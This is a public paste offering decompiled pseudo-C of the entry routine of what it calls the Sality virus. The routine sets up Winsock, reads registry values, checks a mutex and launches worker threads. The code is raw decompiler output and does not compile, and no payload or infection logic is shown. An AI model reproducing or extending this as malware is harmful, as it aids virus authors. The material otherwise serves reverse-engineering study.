sality source code ;)


SUBMITTED BY: Guest

DATE: May 31, 2014, 5:58 p.m.

FORMAT: Text only

SIZE: 16.2 kB

HITS: 1247

  1. __size32 global29 = 1;// 4 bytes
  2. unsigned int global28 = 0;
  3. __size32 global14;// 4 bytes
  4. void proc1();
  5. void proc2();
  6. void proc3();
  7. void proc4();
  8. // address: 0x40425d
  9. int WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
  10. __size8 al; // r8
  11. __size32 eax; // r24
  12. __size32 eax_1; // r24{111}
  13. __size32 eax_2; // r24{515}
  14. int ebp; // r29
  15. void *ebp_1; // r29
  16. __size32 ecx; // r25
  17. union { void * x39; int x40; } ecx_1; // r25
  18. __size32 ecx_2; // r25{516}
  19. __size32 edi; // r31
  20. union { void * x13; int x14; } edi_1; // r31
  21. union { void * x17; int x18; } edi_10; // r31
  22. union { int x5; __size32 * x6; } edi_11; // r31
  23. union { int x5; __size32 * x6; } edi_12; // r31
  24. union { int x5; __size32 * x6; } edi_13; // r31
  25. union { int x5; __size8 * x6; } edi_14; // r31
  26. union { void * x19; int x20; } edi_15; // r31
  27. union { int x7; __size32 * x8; } edi_16; // r31
  28. union { int x7; __size32 * x8; } edi_17; // r31
  29. union { int x7; __size32 * x8; } edi_18; // r31
  30. union { int x7; __size8 * x8; } edi_19; // r31
  31. union { int x1; __size32 * x2; } edi_2; // r31
  32. union { void * x21; int x22; } edi_20; // r31
  33. union { int x9; __size32 * x10; } edi_21; // r31
  34. union { int x9; __size32 * x10; } edi_22; // r31
  35. union { int x9; __size32 * x10; } edi_23; // r31
  36. union { int x9; __size8 * x10; } edi_24; // r31
  37. union { void * x23; int x24; } edi_25; // r31
  38. union { int x11; __size32 * x12; } edi_26; // r31
  39. union { int x11; __size32 * x12; } edi_27; // r31
  40. union { int x11; __size32 * x12; } edi_28; // r31
  41. union { int x11; __size8 * x12; } edi_29; // r31
  42. union { int x1; __size32 * x2; } edi_3; // r31
  43. union { int x11; __size8 * x12; } edi_30; // r31
  44. union { int x1; __size32 * x2; } edi_4; // r31
  45. union { void * x15; int x16; } edi_5; // r31
  46. union { int x3; __size32 * x4; } edi_6; // r31
  47. union { int x3; __size32 * x4; } edi_7; // r31
  48. union { int x3; __size32 * x4; } edi_8; // r31
  49. union { int x3; __size8 * x4; } edi_9; // r31
  50. __size32 edx; // r26
  51. __size32 edx_1; // r26{517}
  52. __size32 *esp; // r28
  53. void *esp_1; // r28{165}
  54. void *esp_2; // r28{149}
  55. void *esp_3; // r28{105}
  56. void *esp_4; // r28{9}
  57. __size32 *esp_5; // r28{554}
  58. void *esp_6; // r28{542}
  59. __size32 esp_7; // r28{279}
  60. __size32 *esp_8; // r28{253}
  61. void *esp_9; // r28{518}
  62. int local0; // m[esp + 4]
  63. int local1; // m[esp + 8]
  64. int local10; // m[esp + 12]{105}
  65. int local11; // m[esp + 12]{279}
  66. int local12; // m[esp + 16]{105}
  67. int local13; // m[esp + 16]{279}
  68. union { __size32 * x25; int x26; } local14; // m[esp_3 - 8]{114}
  69. unsigned int local15; // m[esp_3 - 8]{109}
  70. union { __size32 * x27; int x28; } local16; // m[esp_3 - 20]{130}
  71. union { __size32 * x27; int x28; } local17; // m[esp_3 - 20]{130}
  72. unsigned int local18; // m[esp_3 - 20]{147}
  73. unsigned int local19; // m[esp_3 - 20]{141}
  74. int local2; // m[esp + 12]
  75. unsigned int local20; // m[esp_9 - 12]{194}
  76. union { __size32 * x31; int x32; } local21; // m[esp_9 - 12]{204}
  77. union { __size32 * x33; int x34; } local22; // m[esp_9 - 24]{242}
  78. unsigned int local23; // m[esp_9 - 24]{211}
  79. int local24; // m[esp - 4]{105}
  80. int local25; // m[esp - 4]{279}
  81. int local26; // m[esp - 8]{105}
  82. int local27; // m[esp - 8]{279}
  83. union { int x1; __size32 * x2; } local28; // edi_2{491}
  84. union { int x1; __size32 * x2; } local29; // edi_4{493}
  85. int local3; // m[esp + 16]
  86. union { int x3; __size32 * x4; } local30; // edi_6{495}
  87. union { int x3; __size32 * x4; } local31; // edi_8{497}
  88. union { int x5; __size32 * x6; } local32; // edi_11{499}
  89. union { int x5; __size32 * x6; } local33; // edi_13{501}
  90. union { int x7; __size32 * x8; } local34; // edi_16{503}
  91. union { int x7; __size32 * x8; } local35; // edi_18{505}
  92. union { int x9; __size32 * x10; } local36; // edi_21{507}
  93. union { int x9; __size32 * x10; } local37; // edi_23{509}
  94. union { int x11; __size32 * x12; } local38; // edi_26{511}
  95. union { int x11; __size32 * x12; } local39; // edi_28{513}
  96. __size32 local4; // m[esp - 4]
  97. __size32 local40; // eax_2{515}
  98. __size32 local41; // ecx_2{516}
  99. __size32 local42; // edx_1{517}
  100. void *local43; // esp_9{518}
  101. unsigned int local5; // m[esp - 8]
  102. int local6; // m[esp + 4]{105}
  103. int local7; // m[esp + 4]{279}
  104. int local8; // m[esp + 8]{105}
  105. int local9; // m[esp + 8]{279}
  106. edx = proc1(168, 0x12a8, esp - 4, hInstance, hPrevInstance, lpCmdLine, nCmdShow, ebp, pc); /* Warning: also results in esp_4, ebp_1, edi */
  107. *(__size32*)(esp_4 - 4) = edi;
  108. *(__size32*)(ebp_1 - 4) = 0;
  109. *(__size32*)(ebp_1 - 0xd0c) = 0;
  110. *(__size16*)(ebp_1 - 0x12a8) = 0;
  111. ecx = 99;
  112. edi_1 = ebp_1 - 0x12a6;
  113. local28 = edi_1;
  114. edi_2 = local28;
  115. local29 = edi_2;
  116. while (ecx != 0) {
  117. *(__size32*)(__size32 *)edi = 0;
  118. edi_3 = edi_2 + ( (DF == 0) ? 4 : -4);
  119. ecx = ecx - 1;
  120. local28 = edi_3;
  121. local29 = edi_3;
  122. edi_2 = local28;
  123. local29 = edi_2;
  124. }
  125. edi_4 = local29;
  126. *(__size32*)(__size32 *)edi = 0;
  127. *(__size8*)(ebp_1 - 1288) = 0;
  128. ecx = 255;
  129. edi_5 = ebp_1 - 1287;
  130. local30 = edi_5;
  131. edi_6 = local30;
  132. local31 = edi_6;
  133. while (ecx != 0) {
  134. *(__size32*)(__size32 *)edi = 0;
  135. edi_7 = edi_6 + ( (DF == 0) ? 4 : -4);
  136. ecx = ecx - 1;
  137. local30 = edi_7;
  138. local31 = edi_7;
  139. edi_6 = local30;
  140. local31 = edi_6;
  141. }
  142. edi_8 = local31;
  143. *(__size32*)(__size32 *)edi = 0;
  144. edi_9 = edi_8 + ( (DF == 0) ? 2 : -2);
  145. *(__size8*)(__size8 *)edi = 0;
  146. *(__size8*)(ebp_1 - 264) = 0;
  147. ecx = 64;
  148. edi_10 = ebp_1 - 263;
  149. local32 = edi_10;
  150. edi_11 = local32;
  151. local33 = edi_11;
  152. while (ecx != 0) {
  153. *(__size32*)(__size32 *)edi = 0;
  154. edi_12 = edi_11 + ( (DF == 0) ? 4 : -4);
  155. ecx = ecx - 1;
  156. local32 = edi_12;
  157. local33 = edi_12;
  158. edi_11 = local32;
  159. local33 = edi_11;
  160. }
  161. edi_13 = local33;
  162. *(__size32*)(__size32 *)edi = 0;
  163. edi_14 = edi_13 + ( (DF == 0) ? 2 : -2);
  164. *(__size8*)(__size8 *)edi = 0;
  165. *(__size8*)(ebp_1 - 0xd08) = 0;
  166. ecx = 255;
  167. edi_15 = ebp_1 - 0xd07;
  168. local34 = edi_15;
  169. edi_16 = local34;
  170. local35 = edi_16;
  171. while (ecx != 0) {
  172. *(__size32*)(__size32 *)edi = 0;
  173. edi_17 = edi_16 + ( (DF == 0) ? 4 : -4);
  174. ecx = ecx - 1;
  175. local34 = edi_17;
  176. local35 = edi_17;
  177. edi_16 = local34;
  178. local35 = edi_16;
  179. }
  180. edi_18 = local35;
  181. *(__size32*)(__size32 *)edi = 0;
  182. edi_19 = edi_18 + ( (DF == 0) ? 2 : -2);
  183. *(__size8*)(__size8 *)edi = 0;
  184. *(__size8*)(ebp_1 - 0x1114) = 0;
  185. ecx = 255;
  186. edi_20 = ebp_1 - 0x1113;
  187. local36 = edi_20;
  188. edi_21 = local36;
  189. local37 = edi_21;
  190. while (ecx != 0) {
  191. *(__size32*)(__size32 *)edi = 0;
  192. edi_22 = edi_21 + ( (DF == 0) ? 4 : -4);
  193. ecx = ecx - 1;
  194. local36 = edi_22;
  195. local37 = edi_22;
  196. edi_21 = local36;
  197. local37 = edi_21;
  198. }
  199. edi_23 = local37;
  200. *(__size32*)(__size32 *)edi = 0;
  201. edi_24 = edi_23 + ( (DF == 0) ? 2 : -2);
  202. *(__size8*)(__size8 *)edi = 0;
  203. *(__size8*)(ebp_1 - 0x908) = 0;
  204. ecx = 255;
  205. edi_25 = ebp_1 - 0x907;
  206. local38 = edi_25;
  207. edi_26 = local38;
  208. local39 = edi_26;
  209. while (ecx != 0) {
  210. *(__size32*)(__size32 *)edi = 0;
  211. edi_27 = edi_26 + ( (DF == 0) ? 4 : -4);
  212. ecx = ecx - 1;
  213. local38 = edi_27;
  214. local39 = edi_27;
  215. edi_26 = local38;
  216. local39 = edi_26;
  217. }
  218. edi_28 = local39;
  219. *(__size32*)(__size32 *)edi = 0;
  220. edi_29 = edi_28 + ( (DF == 0) ? 2 : -2);
  221. *(__size8*)(__size8 *)edi = 0;
  222. esp_3 = proc2(0, 0, ecx, edx, ebp_1, edi_29 + ( (DF == 0) ? 1 : -1), local0, local1, local2, local3, local4, local5, <all>, LOGICALFLAGS32(0), LOGICALFLAGS32(0), LOGICALFLAGS32(0)); /* Warning: also results in ebp_1, edi */
  223. *(__size32*)(esp_3 - 4) = 0x8002;
  224. SetErrorMode();
  225. al = (unsigned char) ebp_1 - 0x12a8;
  226. local14 = ebp_1 - 0x12a8;
  227. *(__size32*)(esp_3 - 12) = 514;
  228. WS2_32_dll_115();
  229. GetCurrentProcess();
  230. global14 = eax;
  231. *(__size32*)(esp_3 - 16) = 1024;
  232. local16 = ebp_1 - 1288;
  233. *(__size32*)(esp_3 - 24) = 0;
  234. GetModuleFileNameA(*(esp_3 - 16), *(esp_3 - 20), *(esp_3 - 24));
  235. *(__size32*)(esp_3 - 16) = 0x409970;
  236. InitializeCriticalSection(*(esp_3 - 16));
  237. *(__size32*)(esp_3 - 16) = 0x409988;
  238. InitializeCriticalSection(*(esp_3 - 16));
  239. local40 = eax;
  240. local41 = ecx;
  241. local42 = edx;
  242. local43 = esp_2;
  243. *(__size32*)(ebp_1 - 0xd10) = 0;
  244. *(__size32*)(ebp_1 - 0x1118) = 0;
  245. *(__size32*)(ebp_1 - 0xd10) = 0;
  246. eax_2 = local40;
  247. ecx_2 = local41;
  248. edx_1 = local42;
  249. esp_9 = local43;
  250. tmp1 = *(ebp_1 - 0xd10) - 1000;
  251. while (*(ebp_1 - 0xd10) < 1000) {
  252. eax = proc3(al, eax_2, ecx_2, edx_1, ebp_1, edi, local6, local8, local10, local12, local24, local26, <all>, SUBFLAGS32(*(ebp_1 - 0xd10), 1000, tmp1), tmp1 == 0, *(ebp_1 - 0xd10) < 1000); /* Warning: also results in esp_1, ebp_1, edi */
  253. local43 = esp_1;
  254. ecx = *(ebp_1 - 0xd10);
  255. ecx_2 = ecx + 1000;
  256. edx = (eax & 0xffff) % (ecx + 1000);
  257. eax = *(ebp_1 - 0x1118);
  258. eax_2 = eax + edx;
  259. al = (unsigned char) eax + edx;
  260. *(__size32*)(ebp_1 - 0x1118) = eax + edx;
  261. local40 = eax_2;
  262. local41 = ecx_2;
  263. edx = *(ebp_1 - 0xd10);
  264. edx_1 = edx + 1;
  265. *(__size32*)(ebp_1 - 0xd10) = edx + 1;
  266. local42 = edx_1;
  267. eax_2 = local40;
  268. ecx_2 = local41;
  269. edx_1 = local42;
  270. esp_9 = local43;
  271. tmp1 = *(ebp_1 - 0xd10) - 1000;
  272. }
  273. *(__size32*)(esp_9 - 4) = 0x409498;
  274. *(union { __size32 * x29; int x30; }*)(esp_9 - 8) = ebp_1 - 264;
  275. lstrcpyA();
  276. *(__size32*)(esp_9 - 12) = 0x2710;
  277. Sleep(*(esp_9 - 12));
  278. local21 = ebp_1 - 264;
  279. *(__size32*)(esp_9 - 16) = 1;
  280. *(__size32*)(esp_9 - 20) = 0;
  281. CreateMutexA();
  282. *(__size32*)(ebp_1 - 0xd14) = eax;
  283. GetLastError();
  284. if (eax != 183) {
  285. local22 = ebp_1 - 0x908;
  286. *(__size32*)(esp_9 - 28) = 0x4094a4;
  287. *(__size32*)(esp_9 - 32) = 0x4094ac;
  288. *(__size32*)(esp_9 - 36) = 0x80000001;
  289. al = proc4(al, eax, ecx, ebp_1 - 0x908, ebp_1, edi, local6, local8, local10, local12, local24, local26, <all>, SUBFLAGS32(eax, 183, eax - 183), eax - 183 == 0, eax < 183); /* Warning: also results in eax, edx, esp_8, ebp_1, edi */
  290. flags = LOGICALFLAGS32(eax);
  291. if (eax != 0) {
  292. eax = (int) *(ebp_1 - 0x908);
  293. al = (unsigned char) eax;
  294. flags = SUBFLAGS32(eax, 49, eax - 49);
  295. if (eax == 49) {
  296. global28 = 50;
  297. global29 = 0;
  298. }
  299. }
  300. *(union { void * x37; int x38; }*)(esp_8 + 12) = ebp_1 - 0x908;
  301. *(__size32*)(esp_8 + 8) = 0x4094bc;
  302. *(__size32*)(esp_8 + 4) = 0x4094c4;
  303. *(__size32*)esp_8 = 0x80000001;
  304. al = proc4(al, eax, ebp_1 - 0x908, edx, ebp_1, edi, local0, local1, local2, local3, local4, local5, <all>, flags, ZF, CF); /* Warning: also results in eax, ecx, edx, esp_7, ebp_1, edi */
  305. esp = esp_7 + 16;
  306. if (eax != 0) {
  307. edx = (int) *(ebp_1 - 0x908);
  308. if (edx == 49) {
  309. global28 = 100;
  310. global29 = 0;
  311. }
  312. }
  313. if (*0x409a28 == 0) {
  314. eax = proc3(al, eax, ecx, edx, ebp_1, edi, local7, local9, local11, local13, local25, local27, <all>, SUBFLAGS32(global28, 0, global28), global28 == 0, global28 < 0); /* Warning: also results in esp */
  315. tmpl = ( ((eax & 0xffff) < 0) ? -1 : 0) << 32 | eax & 0xffff;
  316. al = (tmpl % 1000 <= 800) ? 1 : 0;
  317. eax = 0 >> 8 & 0xffffff | (al);
  318. al = (unsigned char) eax - 1 & 0xffffffce;
  319. eax = eax - 1 >> 8 & 0xffffff | (al);
  320. global28 = eax + 100;
  321. }
  322. esp_6 = esp;
  323. *(__size32*)(esp_6 - 4) = 0;
  324. *(__size32*)(esp_6 - 8) = 0;
  325. *(__size32*)(esp_6 - 12) = 0;
  326. *(__size32*)(esp_6 - 16) = 0x401474;
  327. *(__size32*)(esp_6 - 20) = 0;
  328. *(__size32*)(esp_6 - 24) = 0;
  329. CreateThread();
  330. *(__size32*)(esp_6 - 28) = 0;
  331. *(__size32*)(esp_6 - 32) = 0;
  332. *(__size32*)(esp_6 - 36) = 0;
  333. *(__size32*)(esp_6 - 40) = 0x401b98;
  334. *(__size32*)(esp_6 - 44) = 0;
  335. *(__size32*)(esp_6 - 48) = 0;
  336. CreateThread();
  337. if (*0x409a28 != 100) {
  338. if (*0x409a28 == 50) {
  339. *(__size32*)(esp_6 - 52) = 0;
  340. *(__size32*)(esp_6 - 56) = 0;
  341. *(__size32*)(esp_6 - 60) = 0;
  342. *(__size32*)(esp_6 - 64) = 0x403eb4;
  343. *(__size32*)(esp_6 - 68) = 0;
  344. *(__size32*)(esp_6 - 72) = 0;
  345. CreateThread();
  346. }
  347. } else {
  348. *(__size32*)(esp_6 - 52) = 0;
  349. *(__size32*)(esp_6 - 56) = 0;
  350. *(__size32*)(esp_6 - 60) = 0;
  351. *(__size32*)(esp_6 - 64) = 0x402797;
  352. *(__size32*)(esp_6 - 68) = 0;
  353. *(__size32*)(esp_6 - 72) = 0;
  354. CreateThread();
  355. }
  356. esp_5 = esp;
  357. *(__size32*)(esp_5 - 4) = 0x2710;
  358. Sleep(*(esp_5 - 4));
  359. if (*0x409a24 != 0) {
  360. for(;;) {
  361. L2:
  362. local4 = 0xea60;
  363. Sleep(*(esp - 4));
  364. local4 = 0x46b4c4;
  365. InterlockedIncrement(*(esp - 4));
  366. }
  367. }
  368. if (*0x409a28 != 100) {
  369. if (*0x409a28 == 50) {
  370. global28 = 100;
  371. *(__size32*)(esp_5 - 4) = 0;
  372. *(__size32*)(esp_5 - 8) = 0;
  373. *(__size32*)(esp_5 - 12) = 0;
  374. *(__size32*)(esp_5 - 16) = 0x402797;
  375. *(__size32*)(esp_5 - 20) = 0;
  376. *(__size32*)(esp_5 - 24) = 0;
  377. CreateThread();
  378. }
  379. } else {
  380. global28 = 50;
  381. *(__size32*)(esp_5 - 4) = 0;
  382. *(__size32*)(esp_5 - 8) = 0;
  383. *(__size32*)(esp_5 - 12) = 0;
  384. *(__size32*)(esp_5 - 16) = 0x403eb4;
  385. *(__size32*)(esp_5 - 20) = 0;
  386. *(__size32*)(esp_5 - 24) = 0;
  387. CreateThread();
  388. }
  389. local4 = 0x2710;
  390. Sleep(*(esp - 4));
  391. if (*0x409a24 != 0) {
  392. goto L2;
  393. }
  394. } else {
  395. eax = *(ebp_1 - 0xd14);
  396. *(__size32*)(esp_9 - 24) = eax;
  397. ReleaseMutex();
  398. ecx = *(ebp_1 - 0xd14);
  399. *(__size32*)(esp_9 - 28) = ecx;
  400. CloseHandle(*(esp_9 - 28));
  401. }
  402. return 0;
  403. }

comments powered by Disqus